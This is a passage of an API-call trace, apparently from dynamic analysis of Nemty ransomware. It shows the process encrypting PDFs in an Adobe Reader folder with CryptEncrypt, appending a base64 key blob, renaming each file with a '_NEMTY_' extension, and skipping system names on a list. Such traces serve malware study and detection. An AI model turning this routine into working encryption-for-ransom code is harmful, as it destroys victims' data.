lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23f826b0, dwHighDateTime=0x1d561e8)) [0188.450] GetLastError () returned 0x0 [0188.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.450] GetLastError () returned 0x0 [0188.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.450] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.450] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.451] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.451] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="L5nb6Wdz1Opn2MbczU8MO1yWZ8y3yD6UQcWAJ0F+5+k3M4Z9KT8jGdIUQ3udil5F\r\nRIBPLlQPcd+ywLKNPcJQbWOvXOvMLuJw7Hn8iZjDQPwwwAKUTNPia2MoNKUDGbR4\r\nhU1pLyE7I35VI1OOW3kgHYIec5A6OV7HNgJxXTdwRfP/IycPF0uD8T4UvHFXC9p/\r\nTAJB6yKKEh1Rp5f3T8Fousnk0GO0prOQLM+71rBXu5tnA/3OX4uUMmOoIQCo30l2\r\nEX2TfR7ilmTtu0tl5zwuXhWScuOltIQZOMfjKf62BoaW7Ish7WwlLV2Rbv71Ssq2\r\nwSzMXzHLB7MN7V7DWt+htQ==\r\n", pcchString=0x653df5c) returned 1 [0188.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.451] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.451] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=35117) returned 1 [0188.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8920) returned 0x6352c48 [0188.451] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.451] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8920, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x8920, lpOverlapped=0x0) returned 1 [0188.455] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.455] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8920, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x8920, lpOverlapped=0x0) returned 1 [0188.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.455] SetFilePointer (in: hFile=0x320, lDistanceToMove=35117, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x892d [0188.456] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.456] CloseHandle (hObject=0x320) returned 1 [0188.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.456] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Faces.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\faces.pdf._nemty_kgobjgd_")) returned 1 [0188.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.457] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc084, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".") returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="..") returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="...") returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="windows") returned -1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="rsa") returned -1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="NTDETECT.COM") returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntldr") returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="MSDOS.SYS") returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="IO.SYS") returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntuser.dat") returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="desktop.ini") returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="CONFIG.SYS") returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="RECYCLER") returned -1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="bootmgr") returned 1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="programdata") returned -1 [0188.457] lstrcmpiW (lpString1="Pointers.pdf", lpString2="appdata") returned 1 [0188.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.458] Sleep (dwMilliseconds=0x5) [0188.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23fa8810, dwHighDateTime=0x1d561e8)) [0188.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23fa8810, dwHighDateTime=0x1d561e8)) [0188.462] GetLastError () returned 0x0 [0188.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.462] GetLastError () returned 0x0 [0188.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.462] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.462] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.462] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.462] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="C//KVBQioKbF0ClaY/wZFAvBtwnZTY2rurFBSpM/HmbwvuCP257lxriMqOXFCvok\r\nn1OVGxxUE+/e1HihENqmLkrACJVlUyEdEsdlXOCA6/Xw6s+WSZ8Xcb0XWSG9qcUI\r\n2mhMvmXMvBc5aP8e/gd+Ao84AFRd5MuM3XjWB6lrDRKQRg4gXbh7lVgV716bxZsJ\r\nB5y6QV7JD4SzCek+whXExVezubEWidvVg/ShqbSw9+g/a1K76RaTD5MyWPXfA0aZ\r\nCmM4mFN+dV2sJVlxFAnip7FFCNH2GSN8y7sy592K6temGFYICIHJzwxgt2IvY0v+\r\nCg4DtjF1KXb8jrsRghzDJA==\r\n", pcchString=0x653df5c) returned 1 [0188.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.462] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.463] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=49284) returned 1 [0188.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc080) returned 0x6352c48 [0188.463] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.463] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xc080, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xc080, lpOverlapped=0x0) returned 1 [0188.467] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.467] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xc080, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xc080, lpOverlapped=0x0) returned 1 [0188.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.468] SetFilePointer (in: hFile=0x320, lDistanceToMove=49284, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc084 [0188.468] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.468] CloseHandle (hObject=0x320) returned 1 [0188.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.468] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Pointers.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\pointers.pdf._nemty_kgobjgd_")) returned 1 [0188.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.469] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c96, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0188.469] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0188.469] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0188.469] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0188.469] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0188.469] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.469] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0188.469] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0188.469] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0188.469] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0188.469] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0188.469] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.470] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.470] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.470] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0188.470] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0188.470] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0188.470] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0188.470] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.470] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0188.470] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0188.470] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0188.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 